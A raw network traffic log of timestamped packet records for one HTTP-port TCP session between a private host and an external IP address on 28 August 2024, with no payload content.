Aug 28, 2024 22:55:49.965079069 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:50.046606064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.046665907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:50.047899008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:50.052671909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.641016960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.641113043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:50.703010082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:50.703069925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:50.707882881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.707909107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.707926989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.707937002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.707947016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.708072901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.708096981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:50.708112001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.448568106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.448674917 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.450334072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.455156088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.635926962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.635942936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.635953903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.636053085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.642281055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.642292023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.642302990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.642360926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.642385960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.648602962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.648622036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.648632050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.648659945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.648677111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.655211926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.655224085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.655232906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.655380964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.661550999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.661570072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.661578894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.661606073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.661623001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.667665958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.667682886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.667709112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.667726040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.667752981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.667784929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.674599886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.674623013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.674638033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.674647093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.674658060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.674675941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.680366039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.680376053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.680429935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.680429935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.680463076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.680509090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.686836004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.686880112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.686989069 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.722764015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.722789049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.722805023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.722836971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.722873926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.729195118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.729213953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.729249001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.729265928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.729269981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.729583979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.735558033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.735575914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.735614061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.735657930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.735733986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.735987902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.742075920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.742100000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.742111921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.742156982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.742168903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.748435974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.748454094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.748465061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.748502970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.750029087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.754733086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.754744053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.754754066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.754808903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.754822969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.760925055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.760951042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.760960102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.761025906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.761051893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.767402887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.767415047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.767425060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.767481089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.767493963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.773679018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.773699045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.773708105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.773750067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.773751020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.780078888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.780133963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.780143023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.780154943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.780205011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.786159039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.786175013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.786185980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.786236048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.786257982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.791718960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.791785002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.791796923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.791812897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.791830063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.791840076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.797398090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.797440052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.797450066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.797480106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.797497034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.802860975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.802907944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.802917957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.802953005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.802978992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.808592081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.808614016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.808625937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.808675051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.808684111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.814177990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.814207077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.814215899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.814246893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.814255953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.819900036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.819925070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.819933891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.820103884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.825501919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.825546026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.825556040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.825571060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.825593948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.829066992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.829082012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.829092979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.829132080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.829145908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.832685947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.832709074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.832717896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.832751036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.832771063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.836076975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.836137056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.836142063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.836152077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.836180925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.836196899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.839513063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.839525938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.839535952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.839572906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.839585066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.843014956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.843039989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.843050957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.843080044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.843105078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.843105078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.846687078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.846704006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.846714020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.846750021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.846766949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.850043058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.850054979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.850078106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.850106001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.850250006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.852824926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.852854013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.852863073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.852884054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.852895021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.856312990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.856376886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.856400967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.856442928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.856443882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.856499910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.859668970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.859683990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.859694004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.859734058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.859754086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.862904072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.862920046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.862931013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.862965107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.862974882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.866244078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.866260052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.866271019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.866308928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.866324902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.869673967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.869743109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.869806051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.869817972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.869863033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.873069048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.873085976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.873096943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.873135090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.873155117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.876416922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.876487017 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.876487970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.876506090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.876524925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.876533031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.879743099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.879806995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.879822016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.879832983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.879863024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.879873991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.882970095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.882982016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.882992983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.883038044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.883054972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.886404991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.886415958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.886425018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.886477947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.889775038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.889786005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.889796019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.889854908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.889879942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.893434048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.893455982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.893465996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.893505096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.893518925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.896445036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.896471024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.896490097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.896522999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.896565914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.899214983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.899251938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.899279118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.899301052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.899334908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.899334908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.902266026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.902277946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.902287960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.902333021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.902360916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.905368090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.905385971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.905394077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.905424118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.905435085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.908135891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.908145905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.908157110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.908205032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.911380053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.911412954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.911422968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.911453962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.914094925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.914107084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.914117098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.914150000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.914150000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.914175034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.916752100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.916769981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.916779041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.916820049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.916832924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.919661045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.919706106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.919714928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.919718027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.919742107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.919749975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.921670914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.921701908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.921710968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.921729088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.921741009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.923760891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.923775911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.923785925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.923816919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.923830986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.926779985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.926830053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.926835060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.926851034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.926878929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.926887989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.930938959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.930953026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.930963993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.931009054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.931164980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.931190014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.931216955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.931225061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.931235075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.931277037 CEST	49731	80	192.168.2.7	147.45.68.138
